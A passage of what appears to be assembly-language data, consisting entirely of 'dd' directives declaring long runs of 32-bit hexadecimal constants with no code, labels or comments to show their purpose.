		dd 0B4682906h, 1E165155h, 8900623h, 523CDEADh, 0BCC8AA08h
		dd 61C1215Ch, 292BC4DBh, 4D229B0h, 102EC4AAh, 2AE9616Ch
		dd 594741E3h, 3D157C8h,	30466133h, 74937348h, 0A356C61h
		dd 6252348Fh, 52C46835h, 68185CBFh, 60D6D834h, 28059487h
		dd 644CC447h, 70C4CC29h, 918D60A8h, 326A850Ah, 2C2A53C4h
		dd 32C47C23h, 180F2664h, 42F49421h, 0FC9E883h, 0DB1FA09Ch
		dd 8CE3408Bh, 0B7CCBE5h, 9548A4E8h, 494088B3h, 1AEB02E1h
		dd 0CCE5B076h, 10444C09h, 63604561h, 42FCF8BFh,	1A4711FDh
		dd 9DF0F4CFh, 0AF1946BBh, 43895103h, 0A2DC502Dh, 47FB845Ch
		dd 42271061h, 0F4100645h, 10C8A7F7h, 4410C960h,	406F5069h
		dd 0DC4384A8h, 43FCBB88h, 442FC820h, 0B08821DEh, 0F07B230Bh
		dd 158747E0h, 0F13E3EFh, 946DE8BEh, 8830127Ch, 218F26BBh
		dd 0C25B3847h, 31613EF0h, 215A5CB1h, 3C86C48Fh,	606A8895h
		dd 3D14DCA2h, 0D946E423h, 58220F49h, 0D7A06829h, 59B20C08h
		dd 88405EA4h, 58187909h, 0FD45F8D7h, 25AFFFD7h,	1010011Bh
		dd 4CE25BCEh, 86C40E3Eh, 16B05DA1h, 0F488228Ah,	5DD9E813h
		dd 0ED6A67EAh, 0F2F96F6Bh, 8F50EC5h, 3C9BD1Ch, 2664B862h
		dd 0C3042BB3h, 0F44560C0h, 8E6250Ah, 14BA427h, 0B4103B71h
		dd 0F7427208h, 165D8015h, 7E640888h, 0A2F9F837h, 908F540Ch
		dd 0E03EC8AEh, 0B3386820h, 23D24384h, 6A680728h, 52C50A03h
		dd 0C63B0045h, 0E8045B70h, 252AA4EFh, 0DC2D5623h, 422B2B75h
		dd 515D0875h, 10740A7Dh, 0AF04E714h, 2812C9EEh,	81A65C32h
		dd 1FEFB421h, 0B89E61A7h, 1C14AC62h, 28906850h,	0F03A2268h
		dd 5C9FE812h, 222A523Ah, 292E8684h, 392265E8h, 0F484A589h
		dd 0E6F300ECh, 8807091Ah, 10040665h, 0E9D1F7Dh,	6D441D09h
		dd 29784259h, 0CB49EB18h, 95E42117h, 11231862h,	0FDCE680Ah
		dd 0F248AA21h, 0F74464E2h, 0D6972C96h, 38C0B983h, 0C3F5E595h
		dd 0A65A1E73h, 0D66B81A0h, 895C1D9Fh, 0BD5E05C0h, 0BB0480C7h
		dd 0EB3242BEh, 0F0C4E9D3h, 757F7DC2h, 3B175735h, 24057D32h
		dd 87F86C2Dh, 0F94E2539h, 2C50BA83h, 16AA942h, 0F06D300Dh
		dd 51E97C92h, 0B5231033h, 79126156h, 0D42B3DECh, 0F493B216h
		dd 3CE9714h, 0BEE6B65Eh, 5C021010h, 5E6A891Ah, 40A0E2F6h
		dd 923D1011h, 0A7DDBD8Eh, 920DFD3h, 9091D195h, 837884CDh
		dd 9D20EA13h, 9F5B0DE8h, 5EBF2746h, 2C1371BDh, 1AE8C294h
		dd 68F15F43h, 55209A1Ch, 52A228Bh, 88E0836Fh, 5EBF6F6Eh
		dd 0EEDF4B0Fh, 62EF9E40h, 10115AC8h, 29D23028h,	311B1403h
		dd 6B42D652h, 97F0E098h, 3B45EC59h, 1C740C45h, 25A62232h
		dd 1A5D2559h, 80239F8Dh, 81921DEBh, 0F641E99h, 7F254D21h
		dd 5F08E94h, 0BC6F5781h, 61E39A58h, 0CA6BC6E6h,	0FAE8107Eh
		dd 0AF5A4A85h, 0F11FEDDh, 0CD7E59CDh, 0A40E1658h, 38DA3483h
		dd 0CCFF9EB2h, 21FC4279h, 0A4FD903Fh, 28EC1B32h, 5FED1118h
		dd 0FD28EF8h, 4E91E8CEh, 0FA5435AEh, 5544E7A3h,	187D8A92h
		dd 0E107D427h, 0FC29934Bh, 41DF4276h, 0E033144Eh, 57BD13FAh
		dd 0FF7FB30Ch, 9DD76009h, 71BF074Eh, 44AC68C8h,	523E67D6h
		dd 38996F07h, 12DA0DD8h, 4EF51358h, 1468492Ch, 0C8276EE0h
		dd 0C5D06EE4h, 0F50C70Ah, 0B22F91CEh, 9C0232B1h, 9F22FAD8h
		dd 0BA5904DAh, 64052B6h, 0A005122Bh, 0A2CFBC6h,	626C9F48h
		dd 6E986824h, 58DC2354h, 5CF85F67h, 8F40CA21h, 5DB4CFE9h
		dd 511E8CA2h, 5444A44Bh, 687431FAh, 23605E84h, 5788CE7Ch
		dd 226A475Ch, 1A56B76Fh, 0A234FE48h, 5B29C2B3h,	3D786474h
		dd 0AF7068E8h, 0E212116Ah, 47B81795h, 64560529h, 855C6C64h
		dd 3657BC42h, 0AAF13F42h, 43AF183Fh, 0D95488FDh, 66880A48h
		dd 8556E9F0h, 597254C4h, 0C83C461Eh, 10475434h,	0E85E9388h
		dd 3438C3Eh, 20D928C8h,	56BA840Ah, 0E4853D6Ch, 0FCAD71A8h
		dd 0C914210Eh, 66AB5289h, 142845DFh, 0C08807D4h, 0C862C4C4h
		dd 0B409D031h, 0F2AF79FEh, 30E815FEh, 0D3F14E7Eh, 11BE3009h
		dd 0A1C823C7h, 58DA2F33h, 0CAAE70D3h, 3E815FDh,	8B1C1539h
		dd 3BC94B6Fh, 423FA26Eh, 0E1811484h, 0C10B130Fh, 6A4888FEh
		dd 7DED065Eh, 0FF55D0C5h, 594A11CDh, 6C55B7C4h,	840BFF3Ah
		dd 0AA613DA5h, 0F4120EFBh, 0AE033CC5h, 3ED8CF94h, 0B8218C55h
		dd 0E65E3BFAh, 35A1C7Ch, 109ADF2Fh, 27E81201h, 91A43955h
		dd 54F91B0Eh, 0BC642267h, 0C82444D1h, 9E1D903h,	7D2418A0h
		dd 0C7C55768h, 2254F0C4h, 737F1410h, 3CDEC285h,	87FAE330h
		dd 7184463Bh, 5AD44A01h, 0C0C96F1h, 0BC191085h,	749D8C84h
		dd 0A773EA7Dh, 273C945Fh, 0E303992h, 0ED84FAB4h, 0A6FC3BDAh
		dd 242125Bh, 46013D6Ch,	0BBAC2154h, 21D1047h, 0EA10ACA2h
		dd 0E898E53h, 486516BCh, 4AB43DB0h, 7924C616h, 621609A4h
		dd 42298222h, 15E8151Fh, 142B30AEh, 4331110Fh, 45B4CAE8h
		dd 4C3B9C09h, 5C0E8998h, 5857A616h, 6B668848h, 5242001Ch
		dd 0F9393BF2h, 8A4C240Eh, 1DC2DDD1h, 0A25A0C15h, 0A1BD178Fh
		dd 0E283AB3Ah, 0FF5BF754h, 8522829Ch, 52B362B3h, 0F2364236h
		dd 555992A1h, 22D860E1h, 515B3EA6h, 4E306852h, 675D10EEh
		dd 0D0254DAh, 5E874868h, 0B9755920h, 0B17A546Eh, 0CDE63EC6h
		dd 2553EBC7h, 434ACB51h, 3C7481F6h, 994A0C68h, 9DF01A88h
		dd 8C48551h, 5E046861h,	51DE113Ch, 891761B2h, 0D03A39CCh
		dd 538C0E24h, 755F6A82h, 0E23BE0C5h, 0D2326A9Dh, 3A5225D2h
		dd 0BD9EEE6Ch, 0F3019189h, 9216861h, 9ED7399Fh,	5EF39EC0h
		dd 31015B2Bh, 618AE886h, 0C249A29Fh, 6112388Bh,	0E2CCB753h
		dd 11302B81h, 1E4BCC68h, 46C2C339h, 3B97210Eh, 5C87DD2h
		dd 9621ABC8h, 0B6397050h, 0C545FE89h, 52F45818h, 0C8219660h
		dd 1E52CBE2h, 0E88E81B4h, 683158FDh, 9F24A5BCh,	0AE4AF827h
		dd 5E50CC8Bh, 889DAF4Fh, 237E3868h, 4D138D3h, 582BEB01h
		dd 9AA65A55h, 31C8B843h, 6A53DF52h, 0F3FEC864h,	6340C840h
		dd 28844F79h, 0BD9EA468h, 0DDCB30DBh, 0DEB770BEh, 830F61A1h
		dd 6A2D899Fh, 97C47F0Ah, 4DF2F84Ch, 936A8F7Dh, 4AE8CEAh
		dd 0B6DCC741h, 9DC4AE34h, 7458B17Eh, 0FFB5F665h, 0FD4AB808h
		dd 49CB28ACh, 9E32ECh
		dd 145156A5h, 0F08E5202h, 312C12BCh, 4929EB1Ah,	2A3BC813h
		dd 2DBA20D3h, 0F7FD3A23h, 9F7ACC87h, 13B68E50h,	7CF9CBAh
		dd 0FF27376Bh, 2A1ED3CAh, 8C22A247h, 0E21AD49Dh, 4411C6DCh
		dd 0B8595D0Ch, 8B34932Bh, 2BFD8147h, 176EDDF9h,	620BD49Dh
		dd 9932B74h, 8FF9BDFh, 680509A7h, 0E845113Bh, 9C775Dh
		dd 0D69D0Ch, 9D2336C6h,	0F8524BD4h, 0A704CA2Dh,	2FA23954h
		dd 1146918Eh, 80D4504Dh, 5D2F588Ch, 51580FA4h, 71252F06h
		dd 4C72328Ch, 0E813B246h, 68AB4DC5h, 0FC9536AEh, 41CB5891h
		dd 0C7102786h, 2251775h, 1D5968FCh, 52E4A4A4h, 209FD9BEh
		dd 0D40AC09h, 0C20A9957h, 6F10FCA8h, 5E94854Dh,	0E4BD4F6Dh
		dd 9EA2FBB4h, 1375089Eh, 0E8123320h, 5461794Eh,	7E3C05D4h
		dd 7B065B7h, 0CB266D06h, 7EA4CC5Dh, 2918A985h, 54665E48h
		dd 0C90210C7h, 94FD45B8h, 0FE522562h, 56952616h, 1B5466B4h
		dd 0CC6054CBh, 46A155Dh, 0EA5B0C8Dh, 9AB5BC72h,	2F72D788h
		dd 0D162C8D0h, 5D088B15h, 0A52144E5h, 0C478A988h, 4ACE522Fh
		dd 924CB711h, 0C5FEE2AFh, 44621F75h, 643F2830h,	57F0726Ah
		dd 138244C4h, 0C7883848h, 84AC7D84h, 0A5B62521h, 0D76E80ABh
		dd 392CB7D7h, 0B926FD3Ch, 0E4213E68h, 80686149h, 901279C2h
		dd 0B9109264h, 11F79016h, 4D9FF49Ch, 9115A0A5h,	9889A40Fh
		dd 0C6BC8E7Bh, 0D080741h, 2341F93Bh, 0E491973h,	0A84484D9h
		dd 5ACD1551h, 296074FFh, 60FC6B27h, 16FAFD78h, 418D3389h
		dd 568C892Ch, 0A4522639h, 0D78A7761h, 952060FBh, 455D79BDh
		dd 0AF0B25A4h, 3C6155A2h, 2A9B8E0Fh, 7C3046EBh,	0B9F2EF2h
		dd 9EECF7CCh, 0B91F9062h, 0C8795D80h, 0BD63919Fh, 37027D5h
		dd 5D07A280h, 649201F3h, 9958C268h, 0A2949303h,	0CA8A766Ch
		dd 7A0912F9h, 47DD6911h, 0B731E308h, 0FA2885F7h, 6534D8E2h
		dd 8845EC1Fh, 334FA118h, 0C7467884h, 5474220Ch,	0E340128Bh
		dd 1C911A49h, 6808D074h, 0E80506F8h, 24FF4A59h,	0EE0C1371h
		dd 1C50B5D4h, 8ACE58A4h, 0A4221B3Eh, 0DC111285h, 2A23FF4Eh
		dd 0D72E4224h, 86DCD642h, 446C6813h, 5064A891h,	0CF7CEB44h
		dd 3A482901h, 12A58009h, 65E1F525h, 30F9991h, 9318921Ch
		dd 2A490189h, 94BE282Eh, 0A11F242h, 0F070CF4Ah,	8BF27490h
		dd 1AD515ABh, 0F4570EF7h, 52E9E27Eh, 9137A7C6h,	404A2C7h
		dd 0E88A4FB7h, 45B9A866h, 67189060h, 0A6A368C8h, 0A9B60FC2h
		dd 0F76A5515h, 518ACFC1h, 5901042Eh, 22F4FB36h,	8681992h
		dd 882EA98Ah, 53EBD44Ch, 359A2126h, 8083B1Ah, 0C6457328h
		dd 62B67827h, 46688D14h, 4FEF58Bh, 45E75164h, 9389308h
		dd 58FCA7DCh, 7CF56E48h, 4847DA30h, 6CD16C21h, 7010921Bh
		dd 23E05F1Dh, 7386869Ch, 0F34E0B5h, 128A5482h, 0AE218B84h
		dd 2E06A058h, 4255E068h, 34597977h, 60345C93h, 243B060Ah
		dd 846D749Dh, 4022E41Bh, 15542299h, 8278BB86h, 83517D48h
		dd 0BEB0F5A7h, 0A6B656EBh, 8B950FC8h, 4140252Bh, 5707C7B2h
		dd 3A6E5B30h, 89B11A21h, 7B9522EBh, 24680904h, 5AB7667Dh
		dd 9B2A72ABh, 3C2BA954h, 0E1AFAC92h, 0F1F562B9h, 0ED697375h
		dd 14A3BBA4h, 0DA474212h, 3B488483h, 901FB032h,	716184C5h
		dd 3FE35138h, 3A27E12Fh, 1461B8E5h, 0F83B2373h,	3318E06Eh
		dd 7754B5C1h, 8925DA7h,	7214C6FFh, 5ECE7406h, 2774BBB7h
		dd 0E6AED4BFh, 5DF827BEh, 110A718h, 8150751Dh, 0A7E90C96h
		dd 22E4A25Fh, 45C71411h, 0AE4B10F4h, 0C9642804h, 6F85CCFEh
		dd 1A7465Bh, 2F8F051Ch,	0AABD7653h, 0F0420B88h,	0F885AC21h
		dd 68A890E9h, 427502C3h, 47C6AD21h, 0C66408BBh,	18C89C71h
		dd 89148719h, 30C0A24Bh, 98A548EBh, 22580410h, 0E8CF9543h
		dd 45DA8491h, 1087862Ch, 0B92EAD8Dh, 0C61489D7h, 0EBC49542h
		dd 748C009Eh, 35182816h, 0BA8CDEE8h, 36620FB7h,	1C8466F0h
		dd 7C080BF8h, 0EF1C4750h, 0D449E917h, 32CE7D3Fh, 0C9D0940Ch
		dd 8B64552Ch, 0DC956784h, 76FC90CBh, 0CFB89DD2h, 88CF13D2h
		dd 0E82FFC3Eh, 16DE5986h, 6E99BA18h, 84F13B03h,	681C6A01h
		dd 0F0C44CC8h, 216E823h, 41CB98A1h, 0E810F598h,	68DDD435h
		dd 8BA3E262h, 401C5215h, 2EF12024h, 0E813BEE9h,	0C3D9BADCh
		dd 4866586Ah, 499733ECh, 254EE44Ch, 0AB7817Dh, 0ADE1214Ah
		dd 0C5883F8Bh, 3482A89h, 9E44009h, 0B595A032h, 0DFD98C88h
		dd 15328BA4h, 8AA2068Ah, 4BA16015h, 91EC0632h, 704B6CC2h
		dd 8A81D330h, 8817F44Dh, 8AEB1248h, 55EC895Eh, 0AF035111h
		dd 9F115016h, 0CFF7FA64h, 2E0188D9h, 49EC3FD2h,	0B82EC920h
		dd 0F5FEA479h, 66DCFD93h, 44AA4BEAh, 0EA70A5D0h, 2A616298h
		dd 2818ABE8h, 14128D8Bh, 0AE0D4488h, 0D10A8528h, 0D4207CAh
		dd 2F353B2Ah, 0A8DF1975h, 8D4013CEh, 0A0F00544h, 9F43B4F5h
		dd 0B561ABF4h, 0D1BA7C68h, 0D1CA1893h, 8FE7488h, 0B6435FB0h
		dd 26506D12h, 131DA844h, 2B8A2FEAh, 5344261Ah, 0E52BF42Dh
		dd 33B0A070h, 3D6F024Ch, 929CD5CDh, 0C722BAEEh,	0C60D8905h
		dd 0FDF42780h, 90572B2h, 0CFAA40h, 0B15EB84Fh, 15C7840Fh
		dd 18206A59h, 99B050DDh, 21FED4E2h, 68521DE8h, 0E120D01Fh
		dd 0B23ECBA0h, 5157DDA5h, 2F21EE74h, 5902DD45h,	4B381CB1h
		dd 1721460Dh, 0DCD84555h, 0F0A9A10Ch, 59D5641Dh, 3D94F0BCh
		dd 745C7011h, 4269CB16h, 934EF7ECh, 2742CB21h, 91E901F4h
		dd 26724B6Bh, 8AB9125Eh, 5DA87A30h, 309642AAh, 0EE4396Bh
		dd 5BE245A8h, 2AC58D42h, 0A6FCA0B4h, 2147A429h,	0EB892AADh
		dd 726BD6B9h, 394C55D6h, 642B5F40h, 146C0512h, 3AC1B56Ah
		dd 0F7BB7B85h, 4E464940h, 3DD60AB7h, 3A2342F5h,	0CCD65B40h
		dd 0A4527488h, 4580EC0Fh, 7AEC2ECEh, 0D113F29h,	6921A805h
		dd 10A57A54h, 1EFAC1B5h, 75732F30h, 6948A6BDh, 927159AFh
		dd 43FA113h, 9839920Dh,	0C1567CB2h, 0B1740111h,	422A98DDh
		dd 0AF9B72A7h, 0EF5FFC11h, 5FBE4B34h, 0CA1A55B5h, 0BF6813C4h
		dd 1A0CCFA1h, 972B7BE8h, 0E057432h, 40354F8Bh, 0C193017h
		dd 0A14BD068h, 0AA76A471h, 0A47CFC2Ah, 8F7CDFBh, 0FC45D598h
		dd 0E53BA05h, 0F50F71AEh, 26642E40h, 0DB8F0F21h, 0CB21F723h
		dd 0D82A93Eh, 1F54F711h, 0F4B768h, 0AFBA572Dh, 2E4048C1h
		dd 0AED2D2F9h, 0BD3CFA3Ch, 15AB552h, 0E7A666EBh, 7129B025h
		dd 0AED94490h, 0F8CA04A8h, 4B061118h, 86B49988h, 64A515EDh
		dd 2D10BE2Bh, 2C83940Eh, 0B0100673h, 0F0CE98A7h, 3B2A06D0h
		dd 1C732939h, 84173B0Eh, 222FB305h, 0F95397DEh,	6AC9EB05h
		dd 265393C4h, 441E5DBDh, 0BC505401h, 32C908A7h,	8911282h
		dd 0EB42128Eh, 21E6BE16h, 0E98F3FEEh, 909FB41Bh, 414424B6h
		dd 3401CDA3h, 41CC4068h, 223B2915h, 1120257Ch, 0DA211090h
		dd 3EF72FADh, 4902921Dh, 5CC58FBDh, 0E795F808h,	99924C4h
		dd 85C76240h, 10059FACh, 0B0FF8C3Ch, 460E16F5h,	49A43FF0h
		dd 0C37CDE07h, 0D090741h, 2305F204h, 0E271673h,	23AE8464h
		dd 985B3B00h, 29FD64EAh, 0FDA86F24h, 16FAFD78h,	0B8E1308Ah
		dd 2033568Ch, 775BF052h, 0E574DCB7h, 0AB8F358Dh, 0B7F0A2B4h
		dd 57D2D9F4h, 12CB646h,	1262A574h, 9CF55C27h, 6FDA24A5h
		dd 1DFA73C6h, 0FC630980h, 0A89E228Bh, 5B5D0A3h,	40B7578h
		dd 4526E318h, 5BD279EBh, 6C9B7CF7h, 6B6BE80Fh, 63C5D75Ah
		dd 0BB4328A2h, 240B5128h
		dd 0C875FACFh, 0C2A39018h, 46446839h, 48F8567Eh, 0A24C0E4Ah
		dd 0F87E2C72h, 3F3B6885h, 0FAF34AC2h, 0ABEAF416h, 0E2832763h
		dd 5E7BD548h, 0F9B64231h, 42A6BD5Ch, 0B84514FBh, 0D81738Fh
		dd 0B2842C08h, 8D760C52h, 0B8DDBC45h, 0FB56E872h, 232491B3h
		dd 0D529408h, 0A2B51A2Bh, 25EE231Ah, 48683805h,	4650B774h
		dd 0FBEE11B4h, 255AB4FCh, 0B8B2DBF9h, 0DC5F52Bh, 0F1FE4C0Eh
		dd 213D311Ch, 11BE2047h, 8A1A508Ah, 0D2A51881h,	4C089756h
		dd 691288FEh, 2108AAC7h, 4B8B952Ah, 745FC74Ah, 0A25622CCh
		dd 9AA6C63Eh, 6823199Dh, 0E8093422h, 19773CADh,	2C3A4C1Eh
		dd 0ECB34F61h, 452ECEA0h, 48C4C91Ah, 641F554h, 0D2044A2Bh
		dd 5F114E0Bh, 0C0BAD10h, 972D5668h, 8B654EA1h, 84821BCh
		dd 0EB8A24C8h, 0C7084AA3h, 89AFA31Dh, 3346863h,	230CB1A1h
		dd 2FE81500h, 59294A8Ah, 979EF230h, 0EC591DEh, 0A468A888h
		dd 0EBF4131Dh, 4B8BFB14h, 65D4AC12h, 0B699AB0Eh, 81F7337Bh
		dd 76220C40h, 831129A7h, 0A6AFCC2h, 981F1AD5h, 913FF2ACh
		dd 92154867h, 2D27AC0Ah, 60935E2Fh, 0CC8468FCh,	85E7EBCh
		dd 2E0468F8h, 7565E389h, 71B5839Eh, 74535A2Dh, 0F5840F89h
		dd 131225E2h, 0C9ECE370h, 6A890CC9h, 6F3BF47Eh,	0A25808Ah
		dd 431AC12Bh, 1D438189h, 0A0830A2Ch, 0E8063FD2h, 8CD0D3F9h
		dd 8FCE431Eh, 7E9590B8h, 0EFB7DE25h, 37BE2612h,	671C85AEh
		dd 8044B87Fh, 4DAC3B22h, 0C4E49E81h, 7444E925h,	8B02E966h
		dd 6A000820h, 5EA86816h, 182F31CDh, 8C8B3A23h, 8AB71040h
		dd 58509BD4h, 3E669F02h, 4E580842h, 5E92CB92h, 3EBA6DFEh
		dd 0D14DE61Ah, 6D229ACDh, 277A729h, 12F7F04Fh, 0A068E85Ah
		dd 0E8C143DEh, 0B76E3A8Eh, 7EA4DEBCh, 0BC96F5A7h, 4FE8E8FEh
		dd 24C85E94h, 5A1ACC51h, 23EB10AAh, 908FA9A8h, 0E8F4A3B9h
		dd 5290680Dh, 5E715BCDh, 0A268B83Dh, 11B45199h,	4BEC88E8h
		dd 7E9DE970h, 7C685859h, 0D62134A6h, 0D4101C39h, 40D17BDh
		dd 17121175h, 0B6609B2Eh, 3368E958h, 5441AEDh, 19810368h
		dd 41629E0Bh, 2884E702h, 1034A706h, 35E53701h, 168CDE55h
		dd 455B9AF4h, 7A823BD4h, 2B89B974h, 0BA21BD4Eh,	9DB6E095h
		dd 69681CE1h, 39278826h, 8660716Ch, 0F3E8F408h,	0E655693Ch
		dd 84E47803h, 75010680h, 45E01A4Eh, 0EF26A658h,	7626B19h
		dd 6453775Eh, 962C0E14h, 5062792h, 0E6177947h, 3023500Eh
		dd 0B22E0215h, 8417BC19h, 9DD6B52Eh, 0D6094C51h, 0B4901A53h
		dd 2C3817C4h, 600DF706h, 2284F254h, 0DC9C1103h,	0FDB3F613h
		dd 868F1444h, 9492F795h, 20141122h, 17922851h, 0D6EE7E32h
		dd 31274587h, 11FCFA1Ch, 15428539h, 830B174h, 8E1E71Ch
		dd 0DC48FB76h, 56479826h, 892161FAh, 721A77A7h,	503F83D4h
		dd 375F5EA1h, 92645622h, 0F6DD0F2Fh, 9FFAD8E4h,	0CF7900FEh
		dd 3B32ECF3h, 31B33232h, 24181E40h, 0F951AA90h,	3477BD16h
		dd 666C270Bh, 32365BF8h, 0EE98B433h, 148AE695h,	9C1556A0h
		dd 51C0C68h, 5F5CFE8h, 281BEB6Dh, 0A5D1128Fh, 0F741C56Ch
		dd 0CC18EECDh, 6C1F4B1Ch, 7406498h, 49687F57h, 0D8C47F02h
		dd 369821F9h, 0C5873D0Bh, 0FAE43088h, 5D45B442h, 7409F973h
		dd 0E6B3291Bh, 0A99B571h, 0E933487Dh, 0C495CA4Ch, 0F8F6F9D4h
		dd 40DF379h, 0B20D2507h, 0D5729B7Ah, 0E4146C4Ah, 0C7430EE8h
		dd 6F7AB7D0h, 2CC214C8h, 0ED6C753Ah, 8A436C56h,	6A9F7B89h
		dd 51EB596Bh, 35D38965h, 0F11793Ah, 0BF5A486Dh,	9600DA9h
		dd 0ECAAA704h, 14A670B9h, 8409E485h, 59A1835h, 0BC3F7EE9h
		dd 83DC94D6h, 0DF4A9FC7h, 0D86271D3h, 618811F9h, 45AC818h
		dd 0F412BC8Ah, 0A359FCFDh, 0F878DCF5h, 3D1BFE57h, 0B64BC7F9h
		dd 5A6143A1h, 7F0AB772h, 0A1B40508h, 721E646Ah,	0FA262C5Eh
		dd 16B811E3h, 919BE36Eh, 60F68428h, 0A293662h, 124E1906h
		dd 4DF18DABh, 3240D826h, 6594FEBFh, 1076F9ECh, 0E14A0C60h
		dd 5873B41Dh, 21FA0617h, 3FD6A5Bh, 68088702h, 0BC03130Ch
		dd 7F95CD4Fh, 910CA83Ah, 1402C849h, 1C82575h, 0A8A91CFh
		dd 2B235346h, 8D036586h, 110A145Eh, 319077B6h, 4E1C60B4h
		dd 966A858Ah, 0B41B3773h, 89182145h, 0C62AB891h, 80010918h
		dd 537589A5h, 32FE1252h, 0E0669FB2h, 88308A54h,	5FE524ABh
		dd 973C2A30h, 0E0420676h, 3AD2964h, 0C85E2263h,	946847DCh
		dd 2371E1CEh, 44AE4EF8h, 2733A9F1h, 0B844369Ah,	4F31426Ah
		dd 0CE187704h, 4F886124h, 0BB252A9Dh, 0B757E71h, 85E4126Ch
		dd 862EBC6Bh, 0BCBD51E8h, 0B1413406h, 7E771914h, 341E2EB4h
		dd 0EC3736E8h, 1E2B2AB4h, 748D8B28h, 42C96928h,	72C13B13h
		dd 5FF78D0Bh, 2C24F765h, 0B532DB50h, 4F5AA8FCh,	46C28848h
		dd 104D3A6Bh, 0B3354F14h, 0EB028447h, 0EC89BA86h, 2042D30Bh
		dd 34173815h, 14951262h, 0B0880ED9h, 30D24EF9h,	96E823A8h
		dd 0B2A03256h, 0EC310773h, 0F66BB503h, 9E03652Bh, 7391A21Ch
		dd 0E6012C0Bh, 0B9134C64h, 589011D3h, 75648476h, 0B9BB0F74h
		dd 0DB40CB2Bh, 0FCA8885Ah, 997B748Bh, 92C2E862h, 2EEB6AE7h
		dd 0C1D0D035h, 0B31CB12Ah, 2F0B47Ch, 31E3E817h,	899B2D5h
		dd 6020A10Eh, 3E488914h, 1E68821Dh, 8ACF4B33h, 14295B5Ah
		dd 0AAC8330Eh, 1017EBA6h, 8CB5C492h, 84134430h,	9A79EB24h
		dd 6228D872h, 0F8A4D070h, 2024221Ah, 936F6C0Bh,	48A411A5h
		dd 0A5847C92h, 262EA250h, 781B0468h, 64849B34h,	0CBA46A10h
		dd 0F51E48A4h, 0EF1797BAh, 0C4D48BD1h, 402CA07Dh, 0DAF18B15h
		dd 78286BFDh, 0B2ACAA16h, 578DD57Dh, 0EA1D7AC3h, 0ADDF34A2h
		dd 0DDFDAE1Bh, 14DF9BA4h, 0E186CDC0h, 1C089AAEh, 9345FA1h
		dd 0BB163B67h, 8EBAB65Ch, 5D344983h, 0A16AA5F9h, 0BE37EA12h
		dd 3FB7E8B1h, 14A2FD28h, 74B1082h, 44B21451h, 5AEB22C8h
		dd 6F9BFBF7h, 0B19185B2h, 12937557h, 2D2DA325h,	13DFA772h
		dd 30E882D8h, 8909F37Dh, 0C451CACDh, 130D1015h,	0AC2D3439h
		dd 83AC0482h, 0A9D4147Dh, 8949E862h, 0DE4CF730h, 1518010h
		dd 40128F97h, 39D17613h, 28EF4B09h, 37A41208h, 0ED75D042h
		dd 255F84D7h, 32370CC6h, 629B6F72h, 0FB372FFBh,	1C6F2139h
		dd 2A6258BBh, 0CC42372Fh, 8401E075h, 906E6DF9h,	20C656Eh
		dd 1CFA3727h, 0E8449025h, 682F5F52h, 6888AEDDh,	7754BD08h
		dd 2792C4CBh, 713FE8h, 10C76A99h, 0B605299Eh, 29462C3Fh
		dd 0FC5E885Ah, 1A888915h, 0F419646Eh, 0F0511E08h, 0D1752202h
		dd 103D6876h, 2E53DC26h, 0CDF0B098h, 0E52FF406h, 9404DB0h
		dd 687A0C5Dh, 9DCE7C2Fh, 349C88EDh, 4458F688h, 91813324h
		dd 0E37B049Ch, 0FCD0C477h, 0B2E8221h, 8BC4713Dh, 5E018AAh
		dd 2184CF28h, 4A08FE54h, 8544B98h, 0B1FCCC08h, 15FB7C0Eh
		dd 4C9993B2h, 214B51D4h, 3C763A44h, 4029818Ah, 5E07ACEAh
		dd 67FB4F78h, 0D0309F39h, 5F0D4207h, 0BE226F3Ch, 18D7BF96h
		dd 84F8734Bh, 2DDB21FCh, 1E430877h, 14809499h, 0C8612361h
		dd 978A0C3Ch, 9654900Dh, 7A805B0Ah, 0EA93D72Fh,	598A767Dh
		dd 21D16433h, 7008052Dh, 0ED76FB42h, 0FC43421Ch, 8F423E9Fh
		dd 308CF345h, 84FB4780h, 4528FC42h, 1850DB4Eh, 4325A640h
		dd 2ACD92DCh, 5074D4EBh, 61E42E6Eh, 618A3C1Ch, 0B087E50h
		dd 0DFB2BCFBh, 0C6266C12h, 80011F24h, 6A247865h, 0F0815891h
		dd 6808AFBBh, 9A3CB7FBh
		dd 0DF12B327h, 3EDE726h, 0F0FB2544h, 5A20526h, 142B3274h
		dd 4B39E4A5h, 298AB612h, 49BBF374h, 0AEA3881Fh,	2CC86E98h
		dd 1E5D6465h, 9AF024A1h, 9BECE744h, 9DFB8021h, 4823E264h
		dd 677C922Ch, 1B6878D6h, 0F9385025h, 0FF9FA829h, 554084C2h
		dd 717F1A72h, 67E809CAh, 4C18926Ah, 0F1C42BF6h,	0CB9D1EEBh
		dd 4C72BF22h, 0CBE17FCEh, 25100895h, 3909BBE9h,	0B0E70951h
		dd 39D7EB68h, 0BE3513D1h, 0D5E23D7Bh, 852209FDh, 0C99F0C68h
		dd 4BB4DD39h, 0A06D215Eh, 1CB5518Dh, 0F457D3FBh, 0D9D9B7BFh
		dd 37635D96h, 2B2FAA58h, 4717F9CDh, 0FE2A12BAh,	3927D88Fh
		dd 0F7956658h, 8443C0B6h, 212B1C1Ch, 0CF586805h, 0B32D9CEEh
		dd 57803C7Ah, 8D679755h, 7E03C089h, 8FCD196h, 0CF2A42E3h
		dd 680971D2h, 0DF7ECF8Ch, 842AAE58h, 0FCA58316h, 0A85F98A7h
		dd 0D25E4EFh, 0E850AFCFh, 126A8893h, 62991AAEh,	42F8E847h
		dd 80DE397Dh, 13430FC8h, 59F5FFC5h, 70620D34h, 403A1A74h
		dd 0EA5C91C2h, 922181ACh, 0BB2522E4h, 8A0E7010h, 40CBBD32h
		dd 86FDDB35h, 4B3C1057h, 7EE926D8h, 0A5808048h,	44E9A8BDh
		dd 0A6440ECCh, 93D62FFAh, 0FA40E199h, 3455ED22h, 0BB87B0BFh
		dd 9B5C9F29h, 1DC13E7Eh, 0CFA410C2h, 3D4052A1h,	6F53242Bh
		dd 8902BCD0h, 4439D6B1h, 4874F64Ch, 63B26F29h, 76DE5E8Eh
		dd 8780C70Dh, 6482FE4Eh, 0A448564Bh, 0DD2FA877h, 0AC3AFB0Eh
		dd 3674B1E7h, 90256362h, 3DB3586Bh, 562B7120h, 68823150h
		dd 51DDD028h, 92F543F7h, 0EB8B78B7h, 0EAB5255Eh, 0E8561890h
		dd 7D35A408h, 726DA03Bh, 68058F24h, 3C28CFF0h, 101586B9h
		dd 0B22422EBh, 95461EC0h, 0E131BA4Eh, 0AAD54ABh, 12E2157Dh
		dd 4E94F605h, 0F3871412h, 41855061h, 28CE163Ch,	0C7A2EA12h
